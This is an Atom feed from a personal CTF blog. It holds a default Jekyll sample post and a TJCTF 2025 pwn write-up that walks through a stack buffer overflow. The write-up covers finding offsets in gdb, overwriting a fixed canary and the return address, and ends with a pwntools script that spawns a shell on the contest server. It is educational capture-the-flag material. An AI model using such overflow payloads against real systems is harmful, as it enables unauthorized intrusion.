<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="/feed.xml" rel="self" type="application/atom+xml" /><link href="/" rel="alternate" type="text/html" /><updated>2026-03-11T03:15:23+00:00</updated><id>/feed.xml</id><title type="html">Michael Ball’s CTF Blog</title><subtitle>The purpose of this site is to catalog Michael Ball&apos;s (aka Cold Shaker&apos;s) CTF writeups </subtitle><entry><title type="html">Sample Writeup</title><link href="/jekyll/update/2026/03/03/sample_writeup.html" rel="alternate" type="text/html" title="Sample Writeup" /><published>2026-03-03T05:22:23+00:00</published><updated>2026-03-03T05:22:23+00:00</updated><id>/jekyll/update/2026/03/03/sample_writeup</id><content type="html" xml:base="/jekyll/update/2026/03/03/sample_writeup.html"><![CDATA[<p>You’ll find this post in your <code class="language-plaintext highlighter-rouge">_posts</code> directory. Go ahead and edit it and re-build the site to see your changes. You can rebuild the site in many different ways, but the most common way is to run <code class="language-plaintext highlighter-rouge">jekyll serve</code>, which launches a web server and auto-regenerates your site when a file is updated.</p>

<p>Jekyll requires blog post files to be named according to the following format:</p>

<p><code class="language-plaintext highlighter-rouge">YEAR-MONTH-DAY-title.MARKUP</code></p>

<p>Where <code class="language-plaintext highlighter-rouge">YEAR</code> is a four-digit number, <code class="language-plaintext highlighter-rouge">MONTH</code> and <code class="language-plaintext highlighter-rouge">DAY</code> are both two-digit numbers, and <code class="language-plaintext highlighter-rouge">MARKUP</code> is the file extension representing the format used in the file. After that, include the necessary front matter. Take a look at the source for this post to get an idea about how it works.</p>

<p>Jekyll also offers powerful support for code snippets:</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="k">def</span> <span class="nf">print_hi</span><span class="p">(</span><span class="nb">name</span><span class="p">)</span>
  <span class="nb">puts</span> <span class="s2">"Hi, </span><span class="si">#{</span><span class="nb">name</span><span class="si">}</span><span class="s2">"</span>
<span class="k">end</span>
<span class="n">print_hi</span><span class="p">(</span><span class="s1">'Tom'</span><span class="p">)</span>
<span class="c1">#=&gt; prints 'Hi, Tom' to STDOUT.</span></code></pre></figure>

<p>Check out the <a href="https://jekyllrb.com/docs/home">Jekyll docs</a> for more info on how to get the most out of Jekyll. File all bugs/feature requests at <a href="https://github.com/jekyll/jekyll">Jekyll’s GitHub repo</a>. If you have questions, you can ask them on <a href="https://talk.jekyllrb.com/">Jekyll Talk</a>.</p>]]></content><author><name></name></author><category term="jekyll" /><category term="update" /><summary type="html"><![CDATA[You’ll find this post in your _posts directory. Go ahead and edit it and re-build the site to see your changes. You can rebuild the site in many different ways, but the most common way is to run jekyll serve, which launches a web server and auto-regenerates your site when a file is updated.]]></summary></entry><entry><title type="html">Tjctf 2025: i love birds</title><link href="/2026/03/03/TJCTF-2025-I-Love-Birds.html" rel="alternate" type="text/html" title="Tjctf 2025: i love birds" /><published>2026-03-03T00:00:00+00:00</published><updated>2026-03-03T00:00:00+00:00</updated><id>/2026/03/03/TJCTF%202025:%20I%20Love%20Birds</id><content type="html" xml:base="/2026/03/03/TJCTF-2025-I-Love-Birds.html"><![CDATA[<h2 id="i-love-birds">I Love Birds</h2>

<p><strong>Category:</strong> Pwn<br />
<strong>Challenge Type:</strong> Binary Exploitation via Buffer Overflow</p>

<h3 id="resources-provided">Resources Provided</h3>
<ul>
  <li><code class="language-plaintext highlighter-rouge">birds.c</code></li>
</ul>

<p>Download the full challenge package:
<a href="/assets/challenges/TJCTF%202025/I%20Love%20Birds/I-love-birds-challenge-file-and-solution.zip">birds.c and solution script</a></p>

<h3 id="tools-used">Tools Used:</h3>
<p><a href="https://github.com/slimm609/checksec" class="tooltip" target="_blank" title="Shows binary protections"><code class="language-plaintext highlighter-rouge">checksec</code></a>
<a href="https://sourceware.org/gdb/" class="tooltip" title="GNU debugger"><code class="language-plaintext highlighter-rouge">gdb</code></a></p>

<p>For this challenge, all that we need to do is find the distance between the buffer, the canary, and the return address at the end of main. After that, we just need to understand pwntools, how stack memory works, and how assembly works, and we can write a quick exploit script in python to get shell access to the remote server and print the flag.</p>

<h3 id="1--finding-all-of-our-needed-offsets">1.  Finding all of our needed offsets</h3>
<ul>
  <li>We will use gdb to debug the <strong>birds</strong> executable. We will set two breakpoints. One at the instruction that takes place right after the buffer is filled, and another right on the RET instruction.</li>
  <li>Because this program is so simple you may be able to tell where to place both of these breakpoints by running the command <strong>disas main</strong>  <br />
<img src="https://raw.githubusercontent.com/OSINTersd/I-Love-Birds-Writeup/main/main%20disassembly.png" alt="main dissassembly" /></li>
</ul>

<p>We can go ahead and place our breakpoints  at the RET instruction, and at the cmpl assembly instruction</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) b *0x40125d
Breakpoint 1 at 0x40125d                                                                                                                               
(gdb) b *0x401285
Breakpoint 2 at 0x401285 
</code></pre></div></div>

<p>If you want to make sure you are understanding correctly and are placing your breakpoints at the right spot, you can open up the executable in ghidra or IDA pro and compare memory addresses with their places in the decompiled C code.</p>

<p>After analyzing the executable, we find <strong>main</strong> in the symbol tree under functions. We can see that, although gdb and Ghidra disassembled the birds executable a little differently, that we have the correct position for both the start of the if statement, and the return address for main <br />
<img src="https://raw.githubusercontent.com/OSINTersd/I-Love-Birds-Writeup/main/ghidra-1.png" alt="ghidra-1" /></p>

<p>While we are in gdb and ghidra, let us also figure out the address of the call to run the shell. We can skip straight to this address in memory to avoid having to call a gadget.</p>

<p>Let’s first disassemble win() in gdb, find the address we think is the system call to run the shell, and then verify we are correct with ghidra <br />
 <img src="https://raw.githubusercontent.com/OSINTersd/I-Love-Birds-Writeup/main/win%20disassembly.png" alt="win disassembly" /></p>

<p>It appears that the system call in <strong>win</strong> happens at 0x4011e6 in memory. And we can verify this in ghidra by finding <strong>win</strong> in the Symbol Tree <br />
<img src="https://raw.githubusercontent.com/OSINTersd/I-Love-Birds-Writeup/main/win%20breakpoint.png" alt="win breakpoint" /></p>

<p><strong>WATCH OUT!</strong></p>

<p>If we assumed that this memory address is where we should jump to in order to execute our shell system call, we would be mistaken! We have to remember that function calls require setup in assembly. The system function call requires an argument  (a command). Recall that in linux x86-64 assembly, RDI is a functions first argument, followed by RSI, RDX , RCX, and so on. This means that RDI must be filled with the system command ‘/bin/sh’ before the system call, otherwise the function call will fail or behave unpredictably.</p>

<p>From looking at ghidra’s visual debugger, we can see that inside of the IF statement there are 2 lines of preparation before the system call is made. This means we should override main’s return address with <strong>0x4011dc</strong> , which will bring us right to our shell system call.
<img src="https://raw.githubusercontent.com/OSINTersd/I-Love-Birds-Writeup/main/Assembly%20Preparation.png" alt="Assembly Preparation" /></p>

<p>Ok, so now it’s time to run birds with the breakpoints we have set.</p>
<ol>
  <li>On our first breakpoint, we are trying to determine the distance between the buffer and the canary</li>
  <li>On our second breakpoint, we are trying to find the return address of main, so that we can find the distance between the canary and the return address.</li>
</ol>

<p>When we run birds in gdb, we are prompted to fill the buffer. Go ahead and fill the buffer with 64 characters of any kind. Each character is a byte, that’s why the buffer size and the character count is the same. In my debugging session I put in 64 A’s.</p>

<p>Feel free to copy/paste</p>

<p><code class="language-plaintext highlighter-rouge">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</code></p>

<p>Once you press enter, you will be stopped at our first breakpoint.</p>

<p>At this breakpoint we want to examine the stack to see where the buffer ends and the canary begins. To inspect the stack, run the below command:
<strong>x/127wx $rsp</strong>  <br />
<img src="https://raw.githubusercontent.com/OSINTersd/I-Love-Birds-Writeup/main/stack-screenshot.png" alt="stack-screenshot" /></p>
<ul>
  <li>Lets break down the above GDB command:
    <ul>
      <li>x/ -&gt; examine -&gt; used to inspect memory</li>
      <li>128 -&gt; Specifies the number of units to examine, in this case, 128 units</li>
      <li>w -&gt; Stands for “word”, which means each unit is 4 bytes / 32 bits</li>
      <li>x -&gt; Specifies the format, which in this case is hexadecimal</li>
      <li>$rsp Refers to the stack pointer register</li>
      <li>All of the A’s here display as 0x41, because the ASCII representation of A is 0x41 in hexadecimal (65 in decimal)</li>
    </ul>
  </li>
</ul>

<p>Since each group of data displayed here is 4 bytes, we can tell that there are <strong>12 bytes of data</strong> in between the buffer and the canary</p>

<p>Let’s keep this screenshot in mind and continue to the next breakpoint. We can continue by typing <strong>c</strong></p>

<p>Once we break at the RET instruction, all we have to do is step one instruction forward and find the contents of RIP. Recall that RIP is the instruction pointer. Because we broke right before RET, if we step one instruction forward with the command <strong>stepi</strong>, the next instruction will be where we are returning to, AKA the return address of main.</p>

<p>If we run the command <strong>info stack frame</strong>, we can find the contents of RIP , and try and find this address on the stack that we took a screenshot of before.
<img src="RIP%20Contents.png" alt="RIP Contents" /></p>

<p>We found that the return address is 8 bytes away from the canary!</p>

<p><img src="stack-screenshot-Highlights.png" alt="stack-screenshot-Highlights" /></p>

<p>We now know everything we need in order to write our pwntools script.</p>

<p>We can take advantage of pwntools p32() and p64() functions to add our canary and return address data to the payload, as the data needs to be changed from big endian to little endian format in order for the CPU to read it properly.</p>

<p>pwntools script:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pwn import *

# -- PAYLOAD CREATION -- #
payload = b"A"*64
payload += b"B" * 12
payload += p32(0xDEADBEEF)
#payload += b"\xef\xbe\xad\xde" &lt;- what the canary ends up as

payload += b"C" * 8
payload+= p64(0x00000000004011dc)
#payload += b"\xdc\x11\x40\x00\x00\x00\x00\x00" &lt;- what the ret addr ends up as

print(payload)

# ---------------------- #


# EXECUTABLE CONNECTION #

# If you are connecting to a local process, use the below

#p = process('./birds')
#p.sendline(payload)
#p.interactive()

# If you are connecting to a remote server, use the below

target_host = "tjc.tf"
target_port = 31625

conn = remote(target_host, target_port)
conn.recvuntil("wrong!\n")
conn.sendline(payload)
conn.interactive()

# --------------------- #
</code></pre></div></div>

<p>Explanation of big -&gt; little endian conversion</p>

<p>Recall that in big endian format, numbers to the left are more significant than numbers on the right. Humans use big endian number formatting.</p>

<p>In little endian format, numbers to the right are more significant than numbers to the left.</p>

<p>For example, consider the big endian number 123. In little endian, that number would be written as 321. But they refer to the same value.</p>

<p>gdb converts stack memory from little endian to big endian for readability purposes. But when we perform our buffer overflow attack, we have to make sure the data ends up on the stack in little endian format.</p>

<p>However, each character/byte is represented with two hexidecimal digits. These two digits don’t change order. <img src="https://raw.githubusercontent.com/OSINTersd/I-Love-Birds-Writeup/main/big-little-endian.png" alt="big-little-endian" /></p>

<p>Putting the connection in interactive mode allows the user to run shell commands.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[I Love Birds]]></summary></entry></feed>